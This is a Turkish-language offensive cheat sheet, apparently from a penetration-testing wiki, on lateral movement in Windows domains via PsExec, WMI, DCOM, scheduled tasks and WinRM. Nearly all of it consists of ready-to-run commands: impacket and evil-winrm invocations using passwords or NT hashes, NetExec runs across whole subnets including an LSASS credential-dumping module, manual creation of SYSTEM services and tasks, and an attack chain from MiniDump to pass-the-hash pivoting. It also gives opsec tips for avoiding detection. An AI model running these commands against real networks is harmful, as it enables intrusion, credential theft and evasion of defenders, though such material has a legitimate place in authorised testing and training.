Uzaktan Kod Çalıştırma Yöntemleri (PsExec/WMI/WinRM)
ATT&CK T1021 lateral movement
ATT&CK T1021 lateral movement
Geçerli bir kimlik (parola, NT hash veya Kerberos bileti) elde edildikten sonra, hedef makinede komut çalıştırmak için birkaç standart yöntem vardır. Her biri farklı port, servis ve iz bırakma profiline sahiptir. Amaç shell almak değil; doğru gürültü / erişim dengesiyle credential veya pivot üretmektir.
Ön koşullar (yönteme göre)
Section titled “Ön koşullar (yönteme göre)”| Yöntem | Port / bağımlılık | Yetki |
|---|---|---|
| PsExec / smbexec | 445 SMB, Admin$ / C$ | Local admin |
| WMI / wmiexec | 135 + dynamic RPC | Local admin |
| DCOM | 135 + DCOM | Local admin |
| atexec | 445 (Task Scheduler) | Local admin |
| WinRM | 5985 HTTP / 5986 HTTPS | Remote Management Users / admin |
| SSH (Windows) | 22 | OpenSSH kurulu |
BloodHound: AdminTo, CanPSRemote, CanRDP, ExecuteDCOM.
impacket exec ailesi
Section titled “impacket exec ailesi”impacket-psexec domain.local/user:'Pass'@10.10.10.5impacket-psexec -hashes :NTHASH domain.local/user@10.10.10.5impacket-psexec -k -no-pass domain.local/user@host.domain.localimpacket-smbexec domain.local/user:'Pass'@10.10.10.5impacket-wmiexec domain.local/user:'Pass'@10.10.10.5impacket-wmiexec -hashes :NTHASH domain.local/user@10.10.10.5 'whoami /all'impacket-atexec domain.local/user:'Pass'@10.10.10.5 'whoami'impacket-atexec -hashes :NTHASH domain.local/user@10.10.10.5 'powershell -enc ...'impacket-dcomexec domain.local/user:'Pass'@10.10.10.5impacket-dcomexec -object MMC20 domain.local/user:'Pass'@10.10.10.5WinRM (5985/5986)
Section titled “WinRM (5985/5986)”evil-winrm -i 10.10.10.5 -u user -p 'Pass'evil-winrm -i 10.10.10.5 -u user -H NTHASHevil-winrm -i host.domain.local -u user -p 'Pass' -S # SSL 5986nxc winrm 10.10.10.5 -u user -p 'Pass' -x 'whoami'nxc winrm 10.10.10.5 -u user -H :NTHASH -X 'Get-Process'Enter-PSSession -ComputerName host -Credential (Get-Credential)Invoke-Command -ComputerName host -ScriptBlock { whoami } -Credential $credNetExec toplu exec
Section titled “NetExec toplu exec”nxc smb 10.10.10.0/24 -u user -p 'Pass' -x 'hostname'nxc smb 10.10.10.0/24 -u user -H :NTHASH -x 'whoami'nxc smb 10.10.10.5 -u user -p 'Pass' -X 'Get-LocalGroupMember Administrators'nxc smb 10.10.10.5 -u user -p 'Pass' --gen-relay-list relay.txtnxc smb HOST -u user -H :HASH -M spider_plusnxc smb HOST -u user -H :HASH -M lsassysc / schtasks / WMI (manuel)
Section titled “sc / schtasks / WMI (manuel)”sc \\HOST create evilsvc binPath= "cmd /c ..."sc \\HOST start evilsvcschtasks /s HOST /tn evil /tr "cmd /c ..." /sc once /st 00:00 /ru SYSTEM /fschtasks /s HOST /run /tn evilwmic /node:HOST /user:DOMAIN\user /password:Pass process call create "cmd /c ..."Yöntem seçimi (ofansif)
Section titled “Yöntem seçimi (ofansif)”-
Önce WinRM dene — interactive, dosya upload ( evil-winrm ), sık açık.
-
WinRM kapalıysa wmiexec / atexec — servis yaratmadan komut.
-
PsExec son çare — SYSTEM garanti ama Event 7045 + service IOC.
-
Kerberos varsa -k — NTLM log azaltma; FQDN zorunlu.
-
Firewall 445-only → smbexec/psexec; 135-only → wmi/dcom.
Komut üreteci
Section titled “Komut üreteci”Remote Exec · impacket
embedded toolimpacket-wmiexec domain.local/administrator:Pass123@10.10.10.5Remote Exec · impacket
Section titled “Remote Exec · impacket”Saldırı zinciri
Section titled “Saldırı zinciri”nxc smb /24 -H → Pwn3d → wmiexec → comsvcs MiniDump → pypykatz → yeni hash → winrm jump → pivotOpsec (ofansif)
Section titled “Opsec (ofansif)”| Yöntem | Gürültü | Not |
|---|---|---|
| psexec | Yüksek | Servis adı randomize et (impacket seçenekleri) |
| smbexec | Orta-yüksek | Hâlâ servis |
| wmiexec | Orta | WMI + Admin share output |
| atexec | Orta | Task artefaktı |
| dcomexec | Orta | DCOM şüpheli olabilir |
| winrm | Orta | 5985 log; PowerShell Logging |
- Tek komut için atexec; interaktif için winrm/wmiexec.
- -codec ibm437 / encoding sorunlarında Türkçe locale host’larda dikkat.
- AMSI/ScriptBlock logging açık host’ta encoded command yine loglanır.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Admin hak yok ama WinRM “Authenticated Users” — CanPSRemote kontrol et.
- UAC remote token filtering → local admin domain hesabı bazen “yüksek” token alamaz (LocalAccountTokenFilterPolicy); local admin veya DA kullan.
- Kerberos + IP = fail.
- SMB signing / firewall partial open → bir yöntem çalışır diğer ölür; hepsini dene.
- evil-winrm gem/ssl hataları — -S veya winrm HTTP.
Sonraki adımlar
Section titled “Sonraki adımlar”Pass-the-Hash · Pass-the-Ticket · LSASS Dumping · MSSQL